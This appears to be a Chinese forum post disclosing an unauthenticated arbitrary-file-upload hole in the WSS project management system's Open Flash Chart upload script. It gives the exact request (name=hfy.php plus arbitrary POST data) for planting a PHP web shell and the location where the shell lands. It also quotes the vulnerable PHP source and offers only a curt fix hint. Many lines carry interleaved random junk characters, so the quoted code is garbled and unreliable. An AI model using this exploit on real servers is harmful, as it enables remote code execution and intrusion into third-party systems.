WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
- v/ {2 z2 c. |3 W  K$ H1 p
利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
' J2 f& Q6 [5 K' [3 Q
Post任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php


最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

' y2 R6 H# B, r' c4 j5 p! `, A* X0 I% R<?php

. I1 Y' C  V6 p- c+ E//
' q' a; u6 O1 X  B$ F// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//
7 _2 y" @9 x2 S' |& R/ N( t: ~
1 s& Z$ ]8 M/ J+ y& G# }$ ~1 R/*

print_r( $_GET );
. M, h4 R. T/ B1 J/ u% @print_r( $_POST );
print_r( $_FILES );
7 T9 f4 x* b6 G' U( c3 l
6 D+ E$ m. L7 I" yprint_r( $GLOBALS );
$ w+ L$ `! N- g8 Lprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
" C9 w' F, S6 u& k, X$ @
) x( _, z: {5 s& P& ]' `*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';
* Y, W3 W- {) L; k, J
) @* F4 \+ I+ n' P( |* N6 Iif (!file_exists($default_path)) mkdir($default_path, 0777, true);

/ t  h" ^1 d6 d1 t$ n: M// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );

9 F4 S; _6 @& D% N8 lecho 'Saving your image to: '. $destination;
2 Q7 q) X  W8 T% I+ M( q  N# j! s" [// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

//
// POST data is usually string data, but we are passing a RAW .png
# L1 y( C) P7 Q4 R// so PHP is a bit confused and $_POST is empty. But it has saved
3 r' ?" W( D7 j- h. U* K0 T// the raw bits into $HTTP_RAW_POST_DATA
- e  L5 M% ]' X1 ]//
: n7 H$ B' k  Q  _  X
$jfh = fopen($destination, 'w') or die("can't open file");
0 I; A& }# \3 N* A4 Tfwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

1 j+ D3 w! H3 @//
// LOOK:
7 z0 f* D1 B, L1 }. G, L3 Z. i//
9 _7 K0 h# D, [! k0 f' U  aexit();
2 k9 ~( X* F+ c: F2 N6 w3 u4 x" ]+ `//
// PHP5:
//

7 O/ g! r0 E) L4 _6 {: @. ~
) v0 H# w: R& ]9 I, C, o  Q' \// default path for the image to be stored //
1 }( A" s: o1 Y0 x+ r1 z$default_path = 'tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
2 P# n# y! |6 o( S1 M
' N+ [) q6 ^$ u! y* }// full path to the saved image including filename //
; E6 l1 ^2 r3 C& G* W* {4 a$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

: ~0 m6 `' a5 }- p# u- n, ~0 p3 `- C// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
; a7 b. n  t0 R2 l5 u2 @! B    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
* P, T) \0 {4 b+ U" [; s} else {
    echo "FILE UPLOAD FAILED";
}

. J. Y; }! H' q, F
?>



# t4 `" f* J3 c; f
3 G/ d  G# o% G* H$ L6 k. [% R( G

7 b* `% O2 `! R: R- y1 P# ?修复方案：
2 y) D! d+ R5 y) F3 I% e4 _- c( f这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞

. i. g' {4 e9 E# _1 g# H  H0 ^  w
( ~2 k9 L* U$ C% ]1 Q: M
6 ]# f( P3 A, i